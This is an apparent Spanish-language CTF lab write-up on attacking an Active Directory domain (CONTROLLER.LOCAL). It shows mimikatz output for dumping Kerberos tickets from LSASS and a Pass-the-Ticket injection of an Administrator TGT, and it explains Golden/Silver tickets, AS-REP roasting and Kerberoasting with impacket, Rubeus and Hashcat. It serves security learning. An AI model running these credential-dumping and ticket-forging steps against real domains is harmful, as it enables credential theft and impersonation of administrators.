Group 1 - Client Ticket ?
Group 2 - Ticket Granting Ticket
mimikatz # kerberos::ptt [0;37212]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi
* File: '[0;37212]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi': OK
mimikatz # exit
Bye!
controller\administrator@CONTROLLER-1 C:\Users\Administrator\Downloads>klist
Current LogonId is 0:0x37212
Cached Tickets: (1)
#0> Client: Administrator @ CONTROLLER.LOCAL
Server: krbtgt/CONTROLLER.LOCAL @ CONTROLLER.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 5/24/2025 15:46:27 (local)
End Time: 5/25/2025 1:46:27 (local)
Renew Time: 5/31/2025 15:46:27 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called:
📌 Parámetros
privilege::debug
Este comando habilita privilegios especiales necesarios para que Mimikatz pueda acceder a la memoria de procesos protegidos como LSASS. Esencialmente, permite que Mimikatz funcione con permisos de depuración a nivel de sistema. Requiere que Mimikatz se ejecute como administrador, por eso nos conectamos al ssh con sus credenciales.
sekurlsa::tickets /export
Este comando le indica a Mimikatz que acceda a LSASS (Local Security Authority Subsystem Service) y extraiga todos los tickets Kerberos actualmente almacenados en memoria para el usuario logueado o para sesiones activas.
El modificador /export hace que cada uno de estos tickets sea guardado como un archivo .kirbi, el formato estándar de tickets Kerberos que Mimikatz puede importar o reutilizar.
* Saved to file [0;37212]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi !
Esto significa que Mimikatz encontró un TGT (ticket de autenticación inicial) para la cuenta Administrator, emitido por el KDC del dominio CONTROLLER.LOCAL, y lo guardó como archivo .kirbi.
kerberos::ptt [0;37212]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi
Este comando realiza el ataque Pass-the-Ticket (PTT) propiamente dicho.
Lo que hace es inyectar el ticket Kerberos .kirbi previamente extraído en la sesión actual del sistema operativo.
A partir de ese momento, el sistema cree que el usuario posee ese ticket válido, por lo que puede autenticarse como si fuera el usuario original del ticket (en este caso, Administrator).
klist
Este comando es una herramienta nativa de Windows que muestra los tickets Kerberos actualmente cargados en la sesión del usuario.
Después del kerberos::ptt, al ejecutar klist se debería mostrar el TGT inyectado, confirmando que la suplantación de identidad fue exitosa.
Golden/Silver Ticket Attack con Mimikatz
En un entorno de Active Directory, los ataques de Golden Ticket y Silver Ticket son técnicas de suplantación basadas en la manipulación de tickets Kerberos, y aunque ambos permiten autenticación sin necesidad de credenciales válidas, difieren en su alcance y discreción. Un Golden Ticket se genera al comprometer la cuenta de servicio krbtgt, que es utilizada por el KDC (Key Distribution Center) para firmar todos los Ticket Granting Tickets (TGT) del dominio. Con el hash NTLM de esta cuenta, un atacante puede forjar TGTs arbitrarios para cualquier cuenta, incluso para un administrador de dominio, y obtener acceso a cualquier servicio Kerberos en el dominio. Esto convierte al Golden Ticket en un arma extremadamente poderosa, pero también más susceptible a detección por mecanismos de seguridad que supervisan la emisión de tickets en el KDC.
En contraste, un Silver Ticket se basa en la suplantación de un Service Ticket (TGS) directamente, sin necesidad de interactuar con el KDC. Para generarlo, el atacante necesita conocer el SPN (Service Principal Name) del servicio objetivo, el nombre de usuario asociado y el hash NTLM de la cuenta de servicio. Esto se puede lograr, por ejemplo, mediante un ataque de Kerberoasting. Una vez generado, el ticket puede ser inyectado con herramientas como Mimikatz, permitiendo el acceso al servicio en cuestión (como un servidor SQL), incluso si el usuario originalmente comprometido no tenía permisos para ello. Aunque su alcance es limitado al servicio objetivo, el Silver Ticket es más sigiloso, ya que no requiere comunicación con el KDC y, por ende, puede evadir ciertas medidas de detección basadas en logs del controlador de dominio.
mimikatz # misc::cmd
Patch OK for 'cmd.exe' from 'DisableCMD' to 'KiwiAndCMD' @ 00007FF619EF43B8
Este segundo ataque no está incluido en el primer escenario, recién lo vemos en la tarea 5, pero podemos realizarlo ya que pudimos encontrar dos cuentas de Active Directory que tienen deshabilitada la pre autenticación en Kerberos. El procedimiento es el siguiente: obtener hashes AS-REP de cuentas con pre autenticación deshabilitada y crackearlos offline con para recuperar contraseñas de usuarios del dominio.
El segundo metodo de obtencion de hashes es con , este otro método lo realizamos desde la consola de kali, no tenemos que estar necesariamente dentro del equipo objetivo
Al usar impacket-GetUserSPNs para extraer los hashes vamos a agregarle en la última parte del comando el >> hashes.txt para que todos los hashes capturados se almacenen allí y luego podamos crackearlos directamente con .
Una vez que crackeamos los hashes vamos a tener las contraseñas de los servicios http y sql en nuestro poder.
Nota: en esta tarea nos recomiendan el siguiente diccionario para crackear los hashes:
El procedimiento del ataque es sencillo, debemos descargar los hashes con o Rubeus y luego crackearlos cono Hashcat